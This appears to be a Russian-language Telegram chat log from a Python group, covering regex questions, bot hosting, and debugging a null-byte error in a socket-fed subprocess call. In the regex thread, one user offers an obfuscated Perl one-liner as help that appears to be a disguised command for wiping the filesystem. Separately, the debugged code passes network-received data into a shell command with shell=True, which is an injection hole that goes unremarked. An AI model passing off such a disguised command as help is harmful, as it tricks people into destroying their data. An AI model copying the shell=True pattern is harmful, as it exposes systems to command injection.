
Joseph
07.06.2018
03:46:50
да питон охуенен как ленин. функциональщина на месте, компрехеншн первого уровня
не как перл канешн

mr_makss
07.06.2018
03:47:42
достаточно заглянуть в ядро питона и все становится ясно
мой кот сразу всё понял

Google

mr_makss
07.06.2018
03:51:43
кот обратил особое внимание на функцию sorted+lambda по ключу и значению
дальшее я заметил как у него неожиданно изменился окрас от увиденного и он сделал reverse

Joseph
07.06.2018
03:53:09
шутейка такая
извени

mr_makss
07.06.2018
03:54:12
кот обиженно посмотрел и пошел рыбу жарить

first
07.06.2018
04:58:58
Ребят
вопрос про регекс

mr_makss
07.06.2018
04:59:31
https://pythex.org/

first
07.06.2018
04:59:32
в общем нужно найти текст в котором есть слова, имеющие корень
например корни - маш вод. Чтобы находило строки "Водили машину", "Маша выпила воду", ну а также, чтобы небыло разницы в каком они порядке стоят
Как это сделать?

mr_makss
07.06.2018
05:02:19
для начала необходимо ознакомиться с определением корня в русском языке

Google

first
07.06.2018
05:02:45

Dmitri
07.06.2018
05:03:09

first
07.06.2018
05:03:41

Dmitri
07.06.2018
05:03:50

first
07.06.2018
05:04:08
Никак не могу

mr_makss
07.06.2018
05:04:34
pythex помогает вспомнить всё

Pavel
07.06.2018
05:04:41
А корни даны, или однокоренные слова ещё найти надо?

Dmitri
07.06.2018
05:04:47
re.find('часть', 'фраза')

first
07.06.2018
05:05:06

Dmitri
07.06.2018
05:05:57

first
07.06.2018
05:06:28

Artyem
07.06.2018
05:06:47

mr_makss
07.06.2018
05:07:09
если корни даны и принципиально через регулрки, то объедении их в регулярку и все. | думаю втащит

first
07.06.2018
05:07:10

Artyem
07.06.2018
05:07:21
или одна фраза является частью другой

first
07.06.2018
05:08:17

mr_makss
07.06.2018
05:09:20
ну вам виднее

Google

first
07.06.2018
05:09:35
Если 2 корня, то нужно чтобы они оба присутствовали в тексте
А как сделать так, чтобы найти строку в которой есть 2 корня, я не могу понять.

Артем
07.06.2018
05:12:05
Здравствуйте. что посоветуете для бесплатного размещения бота. Какие сервисы? Какие лучше? Я слышал что на питонэнивей можно размещать ботов. Нужны ваши советы

Dmitri
07.06.2018
05:14:03

first
07.06.2018
05:14:11
да нет

Dmitri
07.06.2018
05:16:31

first
07.06.2018
05:17:26

Dmitri
07.06.2018
05:17:50

first
07.06.2018
05:18:06
Чего?)
Мне нужно это решить спомощью regex

Dmitri
07.06.2018
05:18:29
Ну тогда гугли, или жди ответа от тех, кто очень шарит в регулярках
Но мне кажется регулярка к тебя будет огромная)
Как валидация имейл адреса по стандартам))
Мне просто интересно, как ты хочешь решить регуляркой, если у тебя неопределенное кол-во элементов?

mr_makss
07.06.2018
05:22:15
range вжарит в регулярке)

first
07.06.2018
05:22:34
Но вообще, я просто хочу вспомнить как

mr_makss
07.06.2018
05:24:53
вспомнить всё
/^(\d([._]?)|[a-z]([._]?))+(?<![._])$/

Bator
07.06.2018
05:29:54
Привет, чат. Кто сколько лет разработывает на питоне, интересно)

Lulz
07.06.2018
05:30:37
но тебе во флудильню

Google

Bator
07.06.2018
05:31:21
Ок, сорян)

Tishka17
07.06.2018
05:32:21

mr_makss
07.06.2018
05:32:51
в постановке задачи это не принципиально
вероятно First хочет вспомнить всё про регулярные выражения

Tishka17
07.06.2018
05:35:32
Тогда рекомендую начать с
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Или там не регулярка?

html
07.06.2018
05:38:44
Легче это купить

Artyem
07.06.2018
05:40:04
для поиска не полных слов а впросто вхождения избавиться от \b надо

Keni
07.06.2018
05:52:55
Приветствую, подскажите, создал сервер-клиент приложение на socket, клиентская сторона принимает сообщение декодирует его, все ок. Я пытаюсь вставить это сообщение в саб процесс и он выдает ошибка ValueError: embedded null byte
код: https://pastebin.com/tNVLpj1U

Dmitry
07.06.2018
05:55:00

Keni
07.06.2018
05:55:15
1-1.2.2.7
это id usb-ключа

Dmitry
07.06.2018
05:55:34
это строка?

Keni
07.06.2018
05:55:55
да

Dmitry
07.06.2018
05:58:34
да
попробовал у себя в песочнце - ошибку не словил. дай полный трейс исключения

Keni
07.06.2018
05:59:31
Connected: ('192.168.11.157', 15418)
b'1\x00-\x001\x00.\x002\x00.\x002\x00.\x007\x00'
1-1.2.2.7
-
Traceback (most recent call last):
File "usbipserver.py", line 26, in <module>
subprocess.call("usbip unbind -b " + BytesIO(data), shell=True, stderr=subprocess.STDOUT)
File "/usr/lib/python3.5/subprocess.py", line 247, in call
with Popen(*popenargs, **kwargs) as p:
File "/usr/lib/python3.5/subprocess.py", line 676, in init
restore_signals, start_new_session)
File "/usr/lib/python3.5/subprocess.py", line 1221, in _execute_child
restore_signals, start_new_session, preexec_fn)
ValueError: embedded null byte


Dmitry
07.06.2018
06:00:35
Connected: ('192.168.11.157', 15418)
b'1\x00-\x001\x00.\x002\x00.\x002\x00.\x007\x00'
1-1.2.2.7
-
Traceback (most recent call last):
File "usbipserver.py", line 26, in <module>
subprocess.call("usbip unbind -b " + BytesIO(data), shell=True, stderr=subprocess.STDOUT)
File "/usr/lib/python3.5/subprocess.py", line 247, in call
with Popen(*popenargs, **kwargs) as p:
File "/usr/lib/python3.5/subprocess.py", line 676, in init
restore_signals, start_new_session)
File "/usr/lib/python3.5/subprocess.py", line 1221, in _execute_child
restore_signals, start_new_session, preexec_fn)
ValueError: embedded null byte
а почему у тебя вызывается процесс с BytesIO(data), а не с key?
посмотри что возвращает BytesIO(data).
это не строка

Google

Keni
07.06.2018
06:02:12
Connected: ('192.168.11.157', 19520)
b'1\x00-\x001\x00.\x002\x00.\x002\x00.\x005\x00'
Traceback (most recent call last):
File "usbipserver.py", line 22, in <module>
subprocess.call("usbip unbind -b " + key, shell=True, stderr=subprocess.STDOUT)
File "/usr/lib/python3.5/subprocess.py", line 247, in call
with Popen(*popenargs, **kwargs) as p:
File "/usr/lib/python3.5/subprocess.py", line 676, in init
restore_signals, start_new_session)
File "/usr/lib/python3.5/subprocess.py", line 1221, in _execute_child
restore_signals, start_new_session, preexec_fn)
ValueError: embedded null byte

Dmitry
07.06.2018
06:02:13
а должна быть строка
сделай b'1\x00-\x001\x00.\x002\x00.\x002\x00.\x005\x00'.decode() - ты получишь не 1-1.2.2.7
символ \x00 - конца строки
что на клиенте ты отправляешь?

Bogdan (SirEdvin)
07.06.2018
06:09:04
Попробуйте pyzmq, вместо чистых сокетов)

Keni
07.06.2018
06:23:52
а чё сделать чтоб всё заебись было?
как сконвертить?

Dmitry
07.06.2018
06:29:47
покажи часть кода, где отправляется ид устройства

Keni
07.06.2018
06:31:00
byte[] data = Encoding.Unicode.GetBytes(key);
socket.Send(data);
с№
с#
key-string

Alexandr
07.06.2018
06:31:43
кто там против C# настроен
я увидел слово C# и ворвался

Tishka17
07.06.2018
06:31:58
Я против c#

Lulz
07.06.2018
06:32:01

Alexandr
07.06.2018
06:32:29

mr_makss
07.06.2018
06:32:39
C# гг
биндинги не огонь
совсем не огонь